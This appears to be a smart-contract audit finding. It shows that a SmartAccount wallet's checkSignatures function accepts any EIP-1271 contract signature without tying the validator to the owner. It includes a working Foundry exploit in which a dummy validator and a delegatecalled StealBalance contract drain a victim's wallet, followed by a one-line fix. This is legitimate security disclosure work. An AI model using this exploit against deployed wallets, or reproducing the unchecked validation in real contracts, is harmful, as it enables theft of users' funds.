The SmartAccount
wallet supports contract signatures defined by EIP1271, similar to how Gnosis Safe does. Transactions to the wallet can be authorized by a contract that implements the ISignatureValidator
interface. This feature is implemented in the checkSignatures
function, around lines 314-343:
if(v == 0) {
// If v is 0 then it is a contract signature
// When handling contract signatures the address of the contract is encoded into r
_signer = address(uint160(uint256(r)));
// Check that signature data pointer (s) is not pointing inside the static part of the signatures bytes
// This check is not completely accurate, since it is possible that more signatures than the threshold are send.
// Here we only check that the pointer is not pointing inside the part that is being processed
require(uint256(s) >= uint256(1) * 65, "BSA021");
// Check that signature data pointer (s) is in bounds (points to the length of data -> 32 bytes)
require(uint256(s) + 32 <= signatures.length, "BSA022");
// Check if the contract signature is in bounds: start of data is s + 32 and end is start + signature length
uint256 contractSignatureLen;
// solhint-disable-next-line no-inline-assembly
assembly {
contractSignatureLen := mload(add(add(signatures, s), 0x20))
}
require(uint256(s) + 32 + contractSignatureLen <= signatures.length, "BSA023");
// Check signature
bytes memory contractSignature;
// solhint-disable-next-line no-inline-assembly
assembly {
// The signature data for contract signatures is appended to the concatenated signatures and the offset is stored in s
contractSignature := add(add(signatures, s), 0x20)
}
require(ISignatureValidator(_signer).isValidSignature(data, contractSignature) == EIP1271_MAGIC_VALUE, "BSA024");
}
The issue here is that, even though the signature is validated against the contract, there's no relation or enforcement between the signer contract and the owner of the wallet. This means that signature checks can be easily bypassed using a contract signature.
This represents a critical issue since the authorization of any wallet can be easily bypassed using a dummy contract that acts as the signer.
This would let an attacker access and execute anything on any SmartAccount wallet. By calling the execTransaction
function on the SmartAccount
contract, an attacker can trigger a call
or delegatecall
in the context of the wallet and essentially execute any arbitrary code.
In the following test, Bob creates a wallet and loads it with some balance. The attacker then uses a dummy contract that acts as the signature validator (DummySignatureValidator
) and calls execTransaction
to delegatecall a contract (StealBalance
) that steals the funds from the wallet.
contract DummySignatureValidator is ISignatureValidator {
function isValidSignature(bytes memory, bytes memory) public override view returns (bytes4) {
return 0x20c13b0b;
}
}
contract StealBalance {
function steal(address receiver) external {
payable(receiver).transfer(address(this).balance);
}
}
contract AuditTest is Test {
bytes32 internal constant ACCOUNT_TX_TYPEHASH = 0xc2595443c361a1f264c73470b9410fd67ac953ebd1a3ae63a2f514f3f014cf07;
uint256 bobPrivateKey = 0x123;
uint256 attackerPrivateKey = 0x456;
address deployer;
address bob;
address attacker;
address entrypoint;
address handler;
SmartAccount public implementation;
SmartAccountFactory public factory;
MockToken public token;
function setUp() public {
deployer = makeAddr("deployer");
bob = vm.addr(bobPrivateKey);
attacker = vm.addr(attackerPrivateKey);
entrypoint = makeAddr("entrypoint");
handler = makeAddr("handler");
vm.label(deployer, "deployer");
vm.label(bob, "bob");
vm.label(attacker, "attacker");
vm.startPrank(deployer);
implementation = new SmartAccount();
factory = new SmartAccountFactory(address(implementation));
token = new MockToken();
vm.stopPrank();
}
function test_SmartAccount_BypassAuthorization() public {
// Bob creates a wallet and adds some ETH
vm.startPrank(bob);
address proxy = factory.deployWallet(bob, entrypoint, handler);
SmartAccount wallet = SmartAccount(payable(proxy));
vm.deal(address(wallet), 1 ether);
vm.stopPrank();
// Attacker bypasses authorization on Bob's wallet by using a dummy contract validator
vm.startPrank(attacker);
StealBalance stealer = new StealBalance();
DummySignatureValidator validator = new DummySignatureValidator();
Transaction memory tx = Transaction(
address(stealer), // to
0, //value,
abi.encodeWithSelector(StealBalance.steal.selector, attacker), //data
Enum.Operation.DelegateCall, // operation
0 //targetTxGas
);
FeeRefund memory feeRefund = FeeRefund(
0, // uint256 baseGas;
0, // uint256 gasPrice; //gasPrice or tokenGasPrice
0, // uint256 tokenGasPriceFactor;
address(0), // address gasToken;
payable(0) // address payable refundReceiver;
);
uint256 batchId = 0;
uint256 nonce = 0;
// Build signature pointing to dummy validator
bytes32 r = bytes32(uint256(uint160(address(validator))));
bytes32 s = bytes32(uint256(65));
uint8 v = 0;
bytes memory signature = abi.encodePacked(r, s, v, uint256(0));
// Exec transaction
wallet.execTransaction(tx, batchId, feeRefund, signature);
// Attacker has stolen the funds
assertEq(attacker.balance, 1 ether);
vm.stopPrank();
}
}
The checkSignatures
function should verify that the contract validator is the owner of the wallet.
// Check signature
bytes memory contractSignature;
// solhint-disable-next-line no-inline-assembly
assembly {
// The signature data for contract signatures is appended to the concatenated signatures and the offset is stored in s
contractSignature := add(add(signatures, s), 0x20)
}
require(ISignatureValidator(_signer).isValidSignature(data, contractSignature) == EIP1271_MAGIC_VALUE, "BSA024");
+ require(_signer == owner);